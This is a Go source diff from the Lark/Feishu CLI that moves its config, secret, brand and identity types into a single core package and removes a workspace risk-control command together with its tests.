func TestUpdateExistingProfileWithoutSecret_AppIdMismatch_EmitsValidationError(t *testing.T) {
existing := &configpkg.MultiAppConfig{
Apps: []configpkg.AppConfig{{
existing := &core.MultiAppConfig{
Apps: []core.AppConfig{{
Name: "default",
AppId: "app-default",
AppSecret: secret.PlainSecret("secret-default"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("secret-default"),
Brand: core.BrandFeishu,
}},
}
err := updateExistingProfileWithoutSecret(existing, "", "cli_different", brand.Feishu, "en")
err := updateExistingProfileWithoutSecret(existing, "", "cli_different", core.BrandFeishu, "en")
assertValidationParam(t, err, "--app-secret")
}

View File

@@ -9,9 +9,8 @@ import (
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/secret"
"github.com/spf13/cobra"
)
@@ -42,21 +41,21 @@ func NewCmdConfigRemove(f *cmdutil.Factory, runF func(*ConfigRemoveOptions) erro
func configRemoveRun(opts *ConfigRemoveOptions) error {
f := opts.Factory
config, err := configpkg.LoadMultiAppConfig()
config, err := core.LoadMultiAppConfig()
if err != nil || config == nil || len(config.Apps) == 0 {
return errs.NewConfigError(errs.SubtypeNotConfigured, "not configured yet")
}
// Save empty config first. If this fails, keep secrets and tokens intact so the
// existing config can still be retried instead of ending up half-removed.
empty := &configpkg.MultiAppConfig{Apps: []configpkg.AppConfig{}}
if err := configpkg.SaveMultiAppConfig(empty); err != nil {
empty := &core.MultiAppConfig{Apps: []core.AppConfig{}}
if err := core.SaveMultiAppConfig(empty); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
// Clean up keychain entries for all apps after config is cleared.
for _, app := range config.Apps {
secret.RemoveSecretStore(app.AppSecret, f.Keychain)
core.RemoveSecretStore(app.AppSecret, f.Keychain)
for _, user := range app.Users {
_ = auth.RemoveStoredToken(app.AppId, user.UserOpenId)
}

View File

@@ -1,80 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"fmt"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
)
// NewCmdConfigRiskControl creates the workspace risk-control policy command.
func NewCmdConfigRiskControl(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "risk-control [on|off|default]",
Short: "Manage workspace account-protection policy",
Long: `View or set the account-protection risk-control policy for this workspace.
Account protection is on by default. Use off to opt this workspace out, on to
opt it back in explicitly, or default to remove the explicit preference.`,
Args: cobra.MaximumNArgs(1),
// This is persistent workspace policy, not credential management.
PersistentPreRunE: func(cmd *cobra.Command, _ []string) error {
cmd.SilenceUsage = true
return nil
},
RunE: func(cmd *cobra.Command, args []string) error {
config, err := configpkg.LoadOrNotConfigured()
if err != nil {
return err
}
if len(args) == 0 {
printRiskControl(f, config)
return nil
}
switch args[0] {
case "on":
enabled := true
config.RiskControl = &enabled
case "off":
enabled := false
config.RiskControl = &enabled
case "default":
config.RiskControl = nil
default:
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"invalid risk-control value %q, valid values: on | off | default", args[0])
}
if err := configpkg.SaveMultiAppConfig(config); err != nil {
return errs.NewInternalError(errs.SubtypeStorage,
"failed to save risk-control policy: %v", err).WithCause(err)
}
fmt.Fprintf(f.IOStreams.ErrOut, "Risk control set to %s (workspace)\n", args[0])
return nil
},
}
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
return cmd
}
func printRiskControl(f *cmdutil.Factory, config *configpkg.MultiAppConfig) {
source := "default"
if config.RiskControl != nil {
source = "workspace"
}
fmt.Fprintf(f.IOStreams.Out, "risk-control: %s (source: %s)\n", riskControlState(config.RiskControlEnabled()), source)
}
func riskControlState(enabled bool) string {
if enabled {
return "on"
}
return "off"
}

View File

@@ -1,132 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"errors"
"strings"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/secret"
)
func TestRiskControlWorkspacePolicy(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
config := &configpkg.MultiAppConfig{Apps: []configpkg.AppConfig{{
AppId: "cli_test", AppSecret: secret.PlainSecret("secret"), Brand: brand.Feishu,
}}}
if err := configpkg.SaveMultiAppConfig(config); err != nil {
t.Fatal(err)
}
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
cmd := NewCmdConfigRiskControl(f)
cmd.SetArgs([]string{"off"})
if err := cmd.Execute(); err != nil {
t.Fatalf("set off: %v", err)
}
loaded, err := configpkg.LoadMultiAppConfig()
if err != nil {
t.Fatal(err)
}
if loaded.RiskControl == nil || *loaded.RiskControl {
t.Fatalf("RiskControl = %v, want explicit false", loaded.RiskControl)
}
if !strings.Contains(stderr.String(), "set to off") {
t.Fatalf("stderr = %q", stderr.String())
}
stdout.Reset()
cmd = NewCmdConfigRiskControl(f)
if err := cmd.Execute(); err != nil {
t.Fatalf("show: %v", err)
}
if got := stdout.String(); got != "risk-control: off (source: workspace)\n" {
t.Fatalf("stdout = %q", got)
}
cmd = NewCmdConfigRiskControl(f)
cmd.SetArgs([]string{"on"})
if err := cmd.Execute(); err != nil {
t.Fatalf("set on: %v", err)
}
loaded, err = configpkg.LoadMultiAppConfig()
if err != nil {
t.Fatal(err)
}
if loaded.RiskControl == nil || !*loaded.RiskControl {
t.Fatalf("RiskControl = %v, want explicit true", loaded.RiskControl)
}
cmd = NewCmdConfigRiskControl(f)
cmd.SetArgs([]string{"default"})
if err := cmd.Execute(); err != nil {
t.Fatalf("reset default: %v", err)
}
loaded, err = configpkg.LoadMultiAppConfig()
if err != nil {
t.Fatal(err)
}
if loaded.RiskControl != nil {
t.Fatalf("RiskControl = %v, want nil", loaded.RiskControl)
}
stdout.Reset()
cmd = NewCmdConfigRiskControl(f)
if err := cmd.Execute(); err != nil {
t.Fatalf("show default: %v", err)
}
if got := stdout.String(); got != "risk-control: on (source: default)\n" {
t.Fatalf("stdout = %q", got)
}
}
func TestRiskControlWorkspacePolicyRejectsInvalidValue(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
if err := configpkg.SaveMultiAppConfig(&configpkg.MultiAppConfig{Apps: []configpkg.AppConfig{{
AppId: "cli_test", AppSecret: secret.PlainSecret("secret"), Brand: brand.Feishu,
}}}); err != nil {
t.Fatal(err)
}
f, _, _, _ := cmdutil.TestFactory(t, nil)
cmd := NewCmdConfigRiskControl(f)
cmd.SetArgs([]string{"invalid"})
err := cmd.Execute()
var validationErr *errs.ValidationError
if !errors.As(err, &validationErr) {
t.Fatalf("error = %T %v, want *errs.ValidationError", err, err)
}
if validationErr.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype = %q, want %q", validationErr.Subtype, errs.SubtypeInvalidArgument)
}
}
func TestRiskControlWorkspacePolicyAllowedWithExternalCredentials(t *testing.T) {
f := newConfigFactoryWithExternalProvider(t)
config := &configpkg.MultiAppConfig{Apps: []configpkg.AppConfig{{
AppId: "cli_test", AppSecret: secret.PlainSecret("secret"), Brand: brand.Feishu,
}}}
if err := configpkg.SaveMultiAppConfig(config); err != nil {
t.Fatal(err)
}
cmd := NewCmdConfig(f)
cmd.SetArgs([]string{"risk-control", "off"})
if err := cmd.Execute(); err != nil {
t.Fatalf("set off with external credentials: %v", err)
}
loaded, err := configpkg.LoadMultiAppConfig()
if err != nil {
t.Fatal(err)
}
if loaded.RiskControl == nil || *loaded.RiskControl {
t.Fatalf("RiskControl = %v, want explicit false", loaded.RiskControl)
}
}

View File

@@ -11,9 +11,8 @@ import (
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/workspace"
"github.com/spf13/cobra"
)
@@ -44,15 +43,15 @@ func NewCmdConfigShow(f *cmdutil.Factory, runF func(*ConfigShowOptions) error) *
func configShowRun(opts *ConfigShowOptions) error {
f := opts.Factory
config, err := configpkg.LoadMultiAppConfig()
config, err := core.LoadMultiAppConfig()
if err != nil {
if errors.Is(err, os.ErrNotExist) {
return configpkg.NotConfiguredError()
return core.NotConfiguredError()
}
return errs.NewConfigError(errs.SubtypeInvalidConfig, "failed to load config: %v", err).WithCause(err)
}
if config == nil || len(config.Apps) == 0 {
return configpkg.NotConfiguredError()
return core.NotConfiguredError()
}
app := config.CurrentAppConfig(f.Invocation.Profile)
if app == nil {
@@ -67,7 +66,7 @@ func configShowRun(opts *ConfigShowOptions) error {
users = strings.Join(userStrs, ", ")
}
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"workspace": workspace.CurrentWorkspace().Display(),
"workspace": core.CurrentWorkspace().Display(),
"profile": app.ProfileName(),
"appId": app.AppId,
"appSecret": "****",
@@ -75,6 +74,6 @@ func configShowRun(opts *ConfigShowOptions) error {
"lang": app.Lang,
"users": users,
})
fmt.Fprintf(f.IOStreams.ErrOut, "\nConfig file path: %s\n", workspace.GetConfigPath())
fmt.Fprintf(f.IOStreams.ErrOut, "\nConfig file path: %s\n", core.GetConfigPath())
return nil
}

View File

@@ -9,8 +9,7 @@ import (
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/core"
"github.com/spf13/cobra"
)
@@ -38,7 +37,7 @@ explicit user confirmation — never run on your own initiative.`,
lark-cli config strict-mode --reset # clear profile override`,
Args: cobra.MaximumNArgs(1),
RunE: func(cmd *cobra.Command, args []string) error {
multi, err := configpkg.LoadOrNotConfigured()
multi, err := core.LoadOrNotConfigured()
if err != nil {
return err
}
@@ -46,20 +45,20 @@ explicit user confirmation — never run on your own initiative.`,
if reset {
app := multi.CurrentAppConfig(f.Invocation.Profile)
if app == nil {
return configpkg.NoActiveProfileError()
return core.NoActiveProfileError()
}
return resetStrictMode(f, multi, app, global, args)
}
if len(args) == 0 {
app := multi.CurrentAppConfig(f.Invocation.Profile)
if app == nil {
return configpkg.NoActiveProfileError()
return core.NoActiveProfileError()
}
return showStrictMode(cmd.Context(), f, multi, app)
}
app := multi.CurrentAppConfig(f.Invocation.Profile)
if !global && app == nil {
return configpkg.NoActiveProfileError()
return core.NoActiveProfileError()
}
return setStrictMode(f, multi, app, args[0], global)
},
@@ -72,7 +71,7 @@ explicit user confirmation — never run on your own initiative.`,
return cmd
}
func resetStrictMode(f *cmdutil.Factory, multi *configpkg.MultiAppConfig, app *configpkg.AppConfig, global bool, args []string) error {
func resetStrictMode(f *cmdutil.Factory, multi *core.MultiAppConfig, app *core.AppConfig, global bool, args []string) error {
if global {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--reset cannot be used with --global").WithParam("--reset")
}
@@ -80,14 +79,14 @@ func resetStrictMode(f *cmdutil.Factory, multi *configpkg.MultiAppConfig, app *c
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--reset cannot be used with a value argument").WithParam("--reset")
}
app.StrictMode = nil
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
fmt.Fprintln(f.IOStreams.ErrOut, "Profile strict-mode reset (inherits global)")
return nil
}
func showStrictMode(ctx context.Context, f *cmdutil.Factory, multi *configpkg.MultiAppConfig, app *configpkg.AppConfig) error {
func showStrictMode(ctx context.Context, f *cmdutil.Factory, multi *core.MultiAppConfig, app *core.AppConfig) error {
// Runtime effective mode from credential provider chain is the source of truth.
runtime := f.ResolveStrictMode(ctx)
configMode, configSource := resolveStrictModeStatus(multi, app)
@@ -100,10 +99,10 @@ func showStrictMode(ctx context.Context, f *cmdutil.Factory, multi *configpkg.Mu
return nil
}
func setStrictMode(f *cmdutil.Factory, multi *configpkg.MultiAppConfig, app *configpkg.AppConfig, value string, global bool) error {
mode := identity.StrictMode(value)
func setStrictMode(f *cmdutil.Factory, multi *core.MultiAppConfig, app *core.AppConfig, value string, global bool) error {
mode := core.StrictMode(value)
switch mode {
case identity.StrictModeBot, identity.StrictModeUser, identity.StrictModeOff:
case core.StrictModeBot, core.StrictModeUser, core.StrictModeOff:
default:
return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid value %q, valid values: bot | user | off", value)
}
@@ -119,7 +118,7 @@ func setStrictMode(f *cmdutil.Factory, multi *configpkg.MultiAppConfig, app *con
// false-positived (--global change while current profile has an explicit
// override) and false-negatived (--global broadening that doesn't affect
// the current profile but does affect other inheriting profiles).
var oldMode identity.StrictMode
var oldMode core.StrictMode
if global {
oldMode = multi.StrictMode
} else {
@@ -139,16 +138,16 @@ func setStrictMode(f *cmdutil.Factory, multi *configpkg.MultiAppConfig, app *con
}
} else {
if app == nil {
return configpkg.NoActiveProfileError()
return core.NoActiveProfileError()
}
app.StrictMode = &mode
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
if oldMode == identity.StrictModeBot && (mode == identity.StrictModeUser || mode == identity.StrictModeOff) {
if oldMode == core.StrictModeBot && (mode == core.StrictModeUser || mode == core.StrictModeOff) {
fmt.Fprintln(f.IOStreams.ErrOut, "⚠️ "+strictModeRelaxLang(app).IdentityEscalationMessage)
}
@@ -163,19 +162,19 @@ func setStrictMode(f *cmdutil.Factory, multi *configpkg.MultiAppConfig, app *con
// strictModeRelaxLang picks the bind-message bundle whose language matches the
// active profile's Lang setting. Falls back to bindMsgZh when no profile is
// available (global mutation with no current app).
func strictModeRelaxLang(app *configpkg.AppConfig) *bindMsg {
func strictModeRelaxLang(app *core.AppConfig) *bindMsg {
if app != nil {
return getBindMsg(app.Lang)
}
return getBindMsg("")
}
func resolveStrictModeStatus(multi *configpkg.MultiAppConfig, app *configpkg.AppConfig) (identity.StrictMode, string) {
func resolveStrictModeStatus(multi *core.MultiAppConfig, app *core.AppConfig) (core.StrictMode, string) {
if app != nil && app.StrictMode != nil {
return *app.StrictMode, fmt.Sprintf("profile %q", app.ProfileName())
}
if multi.StrictMode.IsActive() {
return multi.StrictMode, "global"
}
return identity.StrictModeOff, "global (default)"
return core.StrictModeOff, "global (default)"
}

View File

@@ -7,32 +7,29 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/secret"
"github.com/larksuite/cli/internal/core"
)
func setupStrictModeTestConfig(t *testing.T) {
t.Helper()
dir := t.TempDir()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", dir)
multi := &configpkg.MultiAppConfig{
Apps: []configpkg.AppConfig{{
multi := &core.MultiAppConfig{
Apps: []core.AppConfig{{
AppId: "test-app",
AppSecret: secret.PlainSecret("secret"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
}},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatal(err)
}
}
func TestStrictMode_Show_Default(t *testing.T) {
setupStrictModeTestConfig(t)
f, stdout, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test-app", AppSecret: "secret"})
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test-app", AppSecret: "secret"})
cmd := NewCmdConfigStrictMode(f)
cmd.SetArgs([]string{})
if err := cmd.Execute(); err != nil {
@@ -45,37 +42,37 @@ func TestStrictMode_Show_Default(t *testing.T) {
func TestStrictMode_SetBot_Profile(t *testing.T) {
setupStrictModeTestConfig(t)
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test-app", AppSecret: "secret"})
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test-app", AppSecret: "secret"})
cmd := NewCmdConfigStrictMode(f)
cmd.SetArgs([]string{"bot"})
if err := cmd.Execute(); err != nil {
t.Fatal(err)
}
multi, _ := configpkg.LoadMultiAppConfig()
multi, _ := core.LoadMultiAppConfig()
app := multi.CurrentAppConfig("")
if app.StrictMode == nil || *app.StrictMode != identity.StrictModeBot {
if app.StrictMode == nil || *app.StrictMode != core.StrictModeBot {
t.Error("expected StrictMode=bot on profile")
}
}
func TestStrictMode_SetUser_Profile(t *testing.T) {
setupStrictModeTestConfig(t)
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test-app", AppSecret: "secret"})
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test-app", AppSecret: "secret"})
cmd := NewCmdConfigStrictMode(f)
cmd.SetArgs([]string{"user"})
if err := cmd.Execute(); err != nil {
t.Fatal(err)
}
multi, _ := configpkg.LoadMultiAppConfig()
multi, _ := core.LoadMultiAppConfig()
app := multi.CurrentAppConfig("")
if app.StrictMode == nil || *app.StrictMode != identity.StrictModeUser {
if app.StrictMode == nil || *app.StrictMode != core.StrictModeUser {
t.Error("expected StrictMode=user on profile")
}
}
func TestStrictMode_SetOff_Profile(t *testing.T) {
setupStrictModeTestConfig(t)
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test-app", AppSecret: "secret"})
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test-app", AppSecret: "secret"})
cmd := NewCmdConfigStrictMode(f)
cmd.SetArgs([]string{"bot"})
cmd.Execute()
@@ -84,23 +81,23 @@ func TestStrictMode_SetOff_Profile(t *testing.T) {
if err := cmd.Execute(); err != nil {
t.Fatal(err)
}
multi, _ := configpkg.LoadMultiAppConfig()
multi, _ := core.LoadMultiAppConfig()
app := multi.CurrentAppConfig("")
if app.StrictMode == nil || *app.StrictMode != identity.StrictModeOff {
if app.StrictMode == nil || *app.StrictMode != core.StrictModeOff {
t.Error("expected StrictMode=off on profile")
}
}
func TestStrictMode_SetBot_Global(t *testing.T) {
setupStrictModeTestConfig(t)
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test-app", AppSecret: "secret"})
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test-app", AppSecret: "secret"})
cmd := NewCmdConfigStrictMode(f)
cmd.SetArgs([]string{"bot", "--global"})
if err := cmd.Execute(); err != nil {
t.Fatal(err)
}
multi, _ := configpkg.LoadMultiAppConfig()
if multi.StrictMode != identity.StrictModeBot {
multi, _ := core.LoadMultiAppConfig()
if multi.StrictMode != core.StrictModeBot {
t.Error("expected global StrictMode=bot")
}
}
@@ -108,38 +105,38 @@ func TestStrictMode_SetBot_Global(t *testing.T) {
func TestStrictMode_SetGlobal_DoesNotRequireActiveProfile(t *testing.T) {
dir := t.TempDir()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", dir)
multi := &configpkg.MultiAppConfig{
multi := &core.MultiAppConfig{
CurrentApp: "missing-profile",
Apps: []configpkg.AppConfig{{
Apps: []core.AppConfig{{
Name: "default",
AppId: "test-app",
AppSecret: secret.PlainSecret("secret"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
}},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatal(err)
}
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test-app", AppSecret: "secret"})
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test-app", AppSecret: "secret"})
cmd := NewCmdConfigStrictMode(f)
cmd.SetArgs([]string{"bot", "--global"})
if err := cmd.Execute(); err != nil {
t.Fatalf("Execute() error = %v", err)
}
saved, err := configpkg.LoadMultiAppConfig()
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
if saved.StrictMode != identity.StrictModeBot {
t.Fatalf("StrictMode = %q, want %q", saved.StrictMode, identity.StrictModeBot)
if saved.StrictMode != core.StrictModeBot {
t.Fatalf("StrictMode = %q, want %q", saved.StrictMode, core.StrictModeBot)
}
}
func TestStrictMode_Reset(t *testing.T) {
setupStrictModeTestConfig(t)
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test-app", AppSecret: "secret"})
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test-app", AppSecret: "secret"})
cmd := NewCmdConfigStrictMode(f)
cmd.SetArgs([]string{"bot"})
cmd.Execute()
@@ -148,7 +145,7 @@ func TestStrictMode_Reset(t *testing.T) {
if err := cmd.Execute(); err != nil {
t.Fatal(err)
}
multi, _ := configpkg.LoadMultiAppConfig()
multi, _ := core.LoadMultiAppConfig()
app := multi.CurrentAppConfig("")
if app.StrictMode != nil {
t.Errorf("expected nil StrictMode after reset, got %v", *app.StrictMode)
@@ -157,7 +154,7 @@ func TestStrictMode_Reset(t *testing.T) {
func TestStrictMode_InvalidValue(t *testing.T) {
setupStrictModeTestConfig(t)
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test-app", AppSecret: "secret"})
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test-app", AppSecret: "secret"})
cmd := NewCmdConfigStrictMode(f)
cmd.SetArgs([]string{"on"})
err := cmd.Execute()

View File

@@ -8,7 +8,7 @@ import (
"testing"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
)
// runStrictMode is a small helper that runs `config strict-mode <args...>` and
@@ -16,7 +16,7 @@ import (
// new user-identity warning land.
func runStrictMode(t *testing.T, args ...string) string {
t.Helper()
f, _, stderr, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test-app", AppSecret: "secret"})
f, _, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test-app", AppSecret: "secret"})
cmd := NewCmdConfigStrictMode(f)
cmd.SetArgs(args)
if err := cmd.Execute(); err != nil {

View File

@@ -14,16 +14,14 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/identitydiag"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/transport"
"github.com/larksuite/cli/internal/update"
"github.com/larksuite/cli/internal/workspace"
)
// DoctorOptions holds inputs for the doctor command.
@@ -87,7 +85,7 @@ func doctorRun(opts *DoctorOptions) error {
}
// ── 1. Config file ──
_, err := configpkg.LoadMultiAppConfig()
_, err := core.LoadMultiAppConfig()
if err != nil {
// For "config not present" cases, prefer the workspace-aware
// NotConfiguredError message + hint (e.g. "openclaw context
@@ -98,7 +96,7 @@ func doctorRun(opts *DoctorOptions) error {
msg, hint := err.Error(), ""
if errors.Is(err, os.ErrNotExist) {
var cfgErr *errs.ConfigError
if errors.As(configpkg.NotConfiguredError(), &cfgErr) {
if errors.As(core.NotConfiguredError(), &cfgErr) {
msg, hint = cfgErr.Message, cfgErr.Hint
}
}
@@ -120,7 +118,7 @@ func doctorRun(opts *DoctorOptions) error {
}
checks = append(checks, pass("app_resolved", fmt.Sprintf("app: %s (%s)", cfg.AppID, cfg.Brand)))
ep := brand.ResolveEndpoints(cfg.Brand)
ep := core.ResolveEndpoints(cfg.Brand)
// ── 3. Identity readiness ──
diagnostics := identitydiag.Diagnose(opts.Ctx, f, cfg, !opts.Offline)
@@ -151,7 +149,7 @@ func identityCheck(name string, id identitydiag.Identity) checkResult {
}
// networkChecks probes Open API and MCP endpoints concurrently.
func networkChecks(ctx context.Context, opts *DoctorOptions, ep brand.Endpoints) []checkResult {
func networkChecks(ctx context.Context, opts *DoctorOptions, ep core.Endpoints) []checkResult {
if opts.Offline {
return []checkResult{
skip("endpoint_open", "skipped (--offline)"),
@@ -241,7 +239,7 @@ func finishDoctor(f *cmdutil.Factory, checks []checkResult) error {
result := map[string]interface{}{
"ok": allOK,
"workspace": workspace.CurrentWorkspace().Display(),
"workspace": core.CurrentWorkspace().Display(),
"checks": checks,
}
output.PrintJson(f.IOStreams.Out, result)

View File

@@ -13,17 +13,15 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/brand"
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
"github.com/larksuite/cli/internal/secret"
)
func TestNewCmdDoctor_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := NewCmdDoctor(f)
@@ -90,7 +88,7 @@ func TestFinishDoctor(t *testing.T) {
}
func TestNetworkChecks_Offline(t *testing.T) {
ep := brand.Endpoints{Open: "https://open.feishu.cn", MCP: "https://mcp.feishu.cn"}
ep := core.Endpoints{Open: "https://open.feishu.cn", MCP: "https://mcp.feishu.cn"}
opts := &DoctorOptions{Ctx: context.Background(), Offline: true}
checks := networkChecks(opts.Ctx, opts, ep)
if len(checks) != 2 {
@@ -105,22 +103,22 @@ func TestNetworkChecks_Offline(t *testing.T) {
func TestDoctorRun_SplitsBotAndMissingUserIdentity(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
if err := configpkg.SaveMultiAppConfig(&configpkg.MultiAppConfig{
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
CurrentApp: "default",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{
Name: "default",
AppId: "test-app",
AppSecret: secret.PlainSecret("secret"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
},
},
}); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
f, stdout, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "secret", Brand: brand.Feishu,
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "secret", Brand: core.BrandFeishu,
})
err := doctorRun(&DoctorOptions{
Factory: f,
@@ -182,16 +180,16 @@ func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*ext
// per-identity checks already carry the source-appropriate escalation.
func TestDoctor_ExternalProvider_IdentityReadyHintNotBlockedCommand(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
if err := configpkg.SaveMultiAppConfig(&configpkg.MultiAppConfig{
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
CurrentApp: "default",
Apps: []configpkg.AppConfig{{Name: "default", AppId: "cli_x", AppSecret: secret.PlainSecret("secret"), Brand: brand.Feishu}},
Apps: []core.AppConfig{{Name: "default", AppId: "cli_x", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu}},
}); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
// Provider serves neither identity: bot unsupported, user supported but not
// signed in → both unavailable → identity_ready fails.
cfg := &configpkg.CliConfig{AppID: "cli_x", Brand: brand.Feishu, SupportedIdentities: uint8(extcred.SupportsUser)}
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser)}
cred := credential.NewCredentialProvider(
[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}},
nil, nil,
@@ -199,7 +197,7 @@ func TestDoctor_ExternalProvider_IdentityReadyHintNotBlockedCommand(t *testing.T
)
out := &bytes.Buffer{}
f := &cmdutil.Factory{
Config: func() (*configpkg.CliConfig, error) { return cfg, nil },
Config: func() (*core.CliConfig, error) { return cfg, nil },
Credential: cred,
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
}

View File

@@ -14,7 +14,7 @@ import (
"github.com/larksuite/cli/internal/apicatalog"
internalauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
identitypkg "github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/registry"
"github.com/larksuite/cli/shortcuts"
shortcutcommon "github.com/larksuite/cli/shortcuts/common"
@@ -58,9 +58,9 @@ func resolveDeclaredScopesForCurrentCommand(f *cmdutil.Factory) []string {
identity := string(f.ResolvedIdentity)
if identity == "" {
identity = string(identitypkg.AsUser)
identity = string(core.AsUser)
}
if identity != string(identitypkg.AsUser) && identity != string(identitypkg.AsBot) {
if identity != string(core.AsUser) && identity != string(core.AsBot) {
return nil
}
@@ -130,7 +130,7 @@ func commandCatalogPath(cmd *cobra.Command) []string {
func shortcutSupportsIdentity(sc shortcutcommon.Shortcut, identity string) bool {
